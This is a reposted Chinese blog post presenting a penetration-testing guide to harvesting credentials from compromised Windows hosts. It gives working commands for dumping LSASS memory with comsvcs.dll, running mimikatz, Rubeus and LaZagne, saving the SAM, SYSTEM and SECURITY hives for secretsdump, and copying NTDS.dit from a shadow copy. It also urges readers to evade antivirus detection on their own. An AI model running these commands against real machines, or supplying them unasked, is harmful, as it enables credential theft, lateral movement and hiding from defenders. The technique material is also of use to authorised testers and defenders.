渗透测试--Windows凭证收集

news2024/12/27 7:25:08

        在渗透测试过程中,我们终究会遇到攻陷了某台加域Windows主机的情况。而这种情况下,我们很需要搜集当前主机的凭证信息。为进一步利用这些相互信任的凭证来进行横向打下基础。

        在凭证收集中,我们主要有以下场景:

1.lsass.exe的DMP文件

        从中我们能获取转储文件,离线解析以获取凭证

2.lsass的内存窃取凭证

        在线解析lsass程序内存

3.sam数据库

        sam数据库时在主机没有加域的情况下,会采用的一种认证措施,里面会有所有使用这个机器的用户的凭证信息

4.配置文件

        设备中的配置文件有时会包含凭证信息,我们值得留意 

5.NTDS.dit

        这个时域控的头头,包含域内所有用户的凭证

lsass.exe的DMP文件提取凭证

        lsass.exe是Windows主机中对于凭证管理的非常重要的进程,所以它的内存当中通常会包含我们想知道的东西。所以我们的主要目的就是获取他的内存。

有桌面情况下获取lsass内存

        打开任务管理器,找到local security auth...

         点击创建内存转储文件

        OK,you got it 就是这么简单

        后面的步骤就是将咱们的转储文件送到VPS上然后使用pypykatz进行解析。解析办法再后面的小节说,而传送方法呢参考之前的文章渗透测试--Windows系统下的文件传输手段-CSDN博客。

cmd情况下获取lsass

        我们可以通过rundll32.exe来完成cmd情况下的DMP文件获取。值得一提的是rundll32.exe在现代检查工具中是恶意软件。

找到LSASS PID 

tasklist /svc
PS C:\Windows\system32> Get-Process lsass

 Powershell创建DMP文件

        下面的命令是恶意活动,需要自行想办法逃避AV检查

PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full

        下面的命令是恶意活动,需要自行想办法逃避AV检查

PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full

         后面的步骤就是将咱们的转储文件送到VPS上然后使用pypykatz进行解析。解析办法再后面的小节说,而传送方法呢参考之前的文章渗透测试--Windows系统下的文件传输手段-CSDN博客。

解析lsass

        解析就是这么简单,pypykatz一般kali自带,但是如果无法正常运行就卸载重新安装。

pypykatz lsa minidump /home/peter/Documents/lsass.dmp 

 DMP的内容

        解析出来的lsass中通常会包含很多内容,一下是一些举例

MSV

sid S-1-5-21-4019466498-1700476312-3544718034-1001
luid 1354633
	== MSV ==
		Username: bob
		Domain: DESKTOP-33E7O54
		LM: NA
		NT: 64f12cddaa88057e06a81b54e73b949b
		SHA1: cba4e545b7ec918129725154b29f055e4cd5aea8
		DPAPI: NA

 WDIGEST

	== WDIGEST [14ab89]==
		username bob
		domainname DESKTOP-33E7O54
		password None
		password (hex)

Kerberos

	== Kerberos ==
		Username: bob
		Domain: DESKTOP-33E7O54

DPAPI

        Data protection API ,通常用于给Windows操作系统和第三方应用密码加解密工作。

	== DPAPI [14ab89]==
		luid 1354633
		key_guid 3e1d1091-b792-45df-ab8e-c66af044d69b
		masterkey e8bc2faf77e7bd1891c0e49f0dea9d447a491107ef5b25b9929071f68db5b0d55bf05df5a474d9bd94d98be4b4ddb690e6d8307a86be6f81be0d554f195fba92
		sha1_masterkey 52e758b6120389898f7fae553ac8172b43221605
ApplicationsUse of DPAPI
Internet ExplorerPassword form auto-completion data (username and password for saved sites).
Google ChromePassword form auto-completion data (username and password for saved sites).
OutlookPasswords for email accounts.
Remote Desktop ConnectionSaved credentials for connections to remote machines.
Credential ManagerSaved credentials for accessing shared resources, joining Wireless networks, VPNs and more.

自动化手段 

nxc smb -u <username> -p <password> --lsa

lsass的内存窃取凭证

 使用mimikatz在Windows内存中搜索凭据

有桌面情况,双击mimikatz,执行命令

privilege::debug

 提取NTLMhash

sekurlsa::logonpasswords

cmd情况

mimikatz.exe privilege::debug "sekurlsa::logonpasswords" exit

使用mimikatz在Windows中提取票证

sekurlsa::tickets /export

使用mimikatz在windows中提取Kerberos秘钥

sekurlsa::ekeys

使用Rubeus提取票证

c:\tools> Rubeus.exe dump /nowrap

 lazagne.exe自动化搜索凭据

        该程序是恶意程序,AV检测会被检出,请各位自己大显身手免杀吧

Release Release v2.4.6 · AlessandroZ/LaZagne · GitHub

C:\Users\bob\Desktop> start lazagne.exe all

sam数据库提取凭证

        sam数据库中也存在很多凭证,一般是工作组主机才会有用它。想要得到它,我们需要管理员权限,然后从注册表提取它。

%SystemRoot%/system32/config/SAMHKLM/SAM

复制SAM数据库

C:\WINDOWS\system32> reg.exe save hklm\sam C:\sam.save
The operation completed successfully.
C:\WINDOWS\system32> reg.exe save hklm\system C:\system.save
The operation completed successfully.
C:\WINDOWS\system32> reg.exe save hklm\security C:\security.save
The operation completed successfully.

 传送SAM数据库文件

 渗透测试--Windows系统下的文件传输手段-CSDN博客

解析sam数据库

        值得一提的是system是非常重要的点,如果没有system文件我们将无法解密sam数据库。原理如下

注册表配置单元描述
hklm\sam包含与本地帐户密码相关的哈希值。我们需要这些哈希值,以便能够破解它们并获取明文形式的用户帐户密码。
hklm\system包含系统启动密钥,用于加密 SAM 数据库。我们需要启动密钥来解密 SAM 数据库。
hklm\security包含域帐户的缓存凭据。我们可能会将此内容放在已加入域的 Windows 目标上,从而受益。

 从SAM数据库提取hash

secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

自动化手段

nxc smb -u <username> -p <password> --sam

配置文件获取凭证

        该攻击的原理就比较简单了,就是单纯的找配置文件,快速信息搜集的过程。这些搜索这些可能可以帮助我们

PasswordsPassphrasesKeys
UsernameUser accountCreds
UsersPasskeysPassphrases
configurationdbcredentialdbpassword
pwdLoginCredentials

        密码可能存在的地方

  • Passwords in Group Policy in the SYSVOL share
  • Passwords in scripts in the SYSVOL share
  • Password in scripts on IT shares
  • Passwords in web.config files on dev machines and IT shares
  • unattend.xml
  • Passwords in the AD user or computer description fields
  • KeePass databases --> pull hash, crack and get loads of access.
  • Found on user systems and shares
  • Files such as pass.txt, passwords.docx, passwords.xlsx found on user systems, shares, Sharepoint

     

 在Windows中搜索配置文件

C:\ findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml

在Windows中包含内容地搜索

findstr /s /i cred n:\*.*

在Powershell中按文件名搜索

Get-ChildItem -Recurse -Path N:\ -Include *cred* -File

在Powershell中按内容搜索

Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List

 

NTDS.dit

   域控数据库,里面有域内的所有敏感信息:

  • 用户账户(用户名和密码哈希)
  • 群组帐户
  • 计算机帐户
  • 组策略对象

手动获取NTDS.dit 

创建NTDS所在盘的VSS

*Evil-WinRM* PS C:\> vssadmin CREATE SHADOW /For=C:

从VSS中复制NTDS.dit

*Evil-WinRM* PS C:\NTDS> cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit

自动化手段

nxc smb -u <username> -p <password> --ntds

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2254436.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

云开发 Copilot ——让开发变得更简单

声明&#xff1a;本篇博客为云开发 Copilot体验文章&#xff0c;非广告 目录 前言&#xff1a; 游客体验 云开发 Copilot实战&#xff1a; 一、图片生成需求 二、云开发 Copilot实现需求 三、AI生成低代码页面 Copilot 的亮点功能 使用场景 云开发 Copilot开发的前景…

【Docker】创建Docker并部署Web站点

要在服务器上创建Docker容器&#xff0c;并在其中部署站点&#xff0c;你可以按照以下步骤操作。我们将以Flask应用为例来说明如何完成这一过程。 1. 准备工作 确保你的服务器已经安装了Docker。如果没有&#xff0c;请根据官方文档安装&#xff1a; Docker 安装指南 2. 创…

【Java】Switch语句、循环语句(for、while、do...while)

Switch语句&#xff1a;针对某个表达式的值进行判断&#xff0c;从而决定执行哪一段代码 语法格式&#xff1a; switch(表达式){ case 目标值1: 执行语句1 break; case 目标值2: …

第一部分:基础知识 3. 数据类型 --[MySQL轻松入门教程]

第一部分:基础知识 3. 数据类型 --[MySQL轻松入门教程] MySQL 支持多种数据类型,这些数据类型可以分为几大类:数值类型、字符串类型、日期和时间类型、二进制类型以及枚举和集合。每种类型都有其特定的用途和存储需求。以下是 MySQL 中常用的数据类型的详细介绍: 1. 数值…

uniapp 添加loading

在uniapp中添加loading可以使用uni的API uni.showLoading 方法。以下是一个简单的示例代码 // 显示loading uni.showLoading({title: 加载中 });// 假设这里是异步操作&#xff0c;比如网络请求 setTimeout(function () {// 隐藏loadinguni.hideLoading(); }, 2000);

HTTP(超文本传输协议)

HTTP是万维网通信的基础构成&#xff0c;是一个简单的请求相应协议&#xff0c;基于TCP之上80号端口 通信原理 DNS解析 将域名甩个DNS服务器解析&#xff0c;将域名化为IP访问 建立TCP连接 如图&#xff0c;客户端先发送一个sys置位seq为x&#xff08;任意值&#xff09;的…

(78)MPSK基带调制通信系统瑞利平坦衰落信道传输性能的MATLAB仿真

文章目录 前言一、MATLAB仿真1.仿真代码2.仿真结果 二、子函数与完整代码总结 前言 本文给出瑞利平坦衰落信道上的M-PSK通信系统性能仿真的MATLAB源代码与仿真结果。其中&#xff0c;调制方式M-PSK包括BPSK、QPSK、8-PSK、16-PSK、32-PSK等方式。 一、MATLAB仿真 1.仿真代码 …

JAVA |日常开发中JSTL标签库详解

JAVA &#xff5c;日常开发中JSTL标签库详解 前言一、JSTL 概述1.1 定义1.2 优势 二、JSTL 核心标签库2.1 导入 JSTL 库2.2 <c:out>标签 - 输出数据2.3 <c:if>标签 - 条件判断2.4 <c:choose>、<c:when>和<c:otherwise>标签 - 多条件选择 结束语优…

NAT traversal 原理 | TCP / UDP/ P2P

注&#xff1a;本文为 “NAT traversal ”相关的几篇文章合辑。 未整理去重。 NAT 穿越技术原理 Li_yy123 于 2020-12-08 18:54:26 发布 一、NAT 由来 为了解决全球公有 IPv4 的稀缺&#xff0c;提出了 NAT 技术。NAT 是 Network Address Translation 网络地址转换的缩写。 …

P3916 图的遍历(Tarjan缩点和反向建边)

P3916 图的遍历 - 洛谷 | 计算机科学教育新生态 写法一&#xff1a;Tarjan 思路&#xff1a;先运用Tarjan算法得到每个连通块中最大的编号&#xff0c;然后对每个连通块进行缩点重新建图&#xff0c;进行dfs&#xff0c;得到缩点后的连通块能够达到的最大编号。 Code: conste…

数据结构与算法学习笔记----堆

数据结构与算法学习笔记----堆 author: 明月清了个风 first publish time: 2024.12.2 revised: 2024.12.3 - 例题标题错误&#xff0c;已修改。 ps⛹从这里开始调整了文章结构&#xff0c;先讲解算法和数据结构基本原理&#xff0c;再给出例题&#xff0c;针对例题中的应用再…

【C++】格式化输出详解:掌握 cout 的进阶用法

博客主页&#xff1a; [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: C 文章目录 &#x1f4af;前言&#x1f4af;格式化输出的理论概述&#x1f4af;控制输出宽度和填充字符setw 操作符setfill 操作符 &#x1f4af;控制浮点数的显示格式fixed 与 scientificsetprecision &#x1f4af;…

Rust : 生成日历管理markdown文件的小工具

需求&#xff1a; 拟生成以下markdown管理小工具&#xff0c;这也是我日常工作日程表。 可以输入任意时间段&#xff0c;运行后就可以生成以上的markdown文件。 一、toml [package] name "rust-workfile" version "0.1.0" edition "2021"[d…

Spring01——Spring Framework系统架构

spring学习路线 Spring Framework系统架构 相关概念 低耦合&#xff1a;是指系统中各个模块或组件之间的依赖性较低&#xff0c;即它们之间的联系较少、交互简单。这种设计原则的目的是为了提高系统的灵活性和可维护性&#xff0c;便于模块的独立开发、测试和替换。解耦&…

MicroBlaze软核开发(一):Hello World

实现功能&#xff1a;使用 MicroBlaze软核 串口打印 Hello World Vivado版本&#xff1a;2018.3 目录 MicroBlaze介绍 vivado部分&#xff1a; 一、新建工程 二、配置MicroBlaze 三、添加Uart串口IP 四、生成HDL文件编译 SDK部分&#xff1a; 一、导出硬件启动SDK 二、…

ZLMediaKit+wvp (ffmpeg+obs)推拉流测试

这里使用了两种方式: ffmpeg命令和 OBS OBS推流在网上找了些基本没有说明白的, 在ZLMediaKit的issues中看到了一个好大哥的提问在此记录一下 使用OBS推流&#xff0c;rtmp&#xff0c;报鉴权失败 推流 1. ffmpeg命令推流 官方说明文档地址: 推流规则 rtsp://192.168.1.4:10554…

微信小程序之简单的数据中心管理平台(1)

微信小程序之简单的数据中心管理平台&#xff08;1&#xff09; 引言 随着微信小程序的广泛应用&#xff0c;越来越多的企业开始探索如何利用这一技术开发高效、便捷的管理平台。数据中心管理作为信息化建设的重要组成部分&#xff0c;需要一个灵活、可扩展的界面来实现资源的…

【计算机网络】实验13:运输层端口

实验13 运输层端口 一、实验目的 本次实验旨在验证TCP和IP运输层端口号的作用&#xff0c;深入理解它们在网络通信中的重要性。通过实验&#xff0c;我将探讨端口号如何帮助区分不同的应用程序和服务&#xff0c;使得在同一台主机上能够同时运行多个网络服务而不发生冲突。此…

人工智能学习用的电脑安装cuda、torch、conda等软件,版本的选择以及多版本切换

接触人工智能的学习三个月了&#xff0c;每天与各种安装包作斗争&#xff0c;缺少依赖包、版本高了、版本低了、不兼容了、系统做一半从头再来了。。。这些都是常态。三个月把单位几台电脑折腾了不下几十次安装&#xff0c;是时候总结一下踩过的坑和积累的经验了。 以一个典型的…

数组常见查找算法

文章目录 时间复杂度1. 顺序查找&#xff08;Linear Search&#xff09;2. 二分查找&#xff08;Binary Search&#xff09;3. 插值查找&#xff08;Interpolation Search&#xff09;4.分块查找5.哈希查找 时间复杂度 衡量算法执行时间随输入规模增长而增长的速度的一个概念。…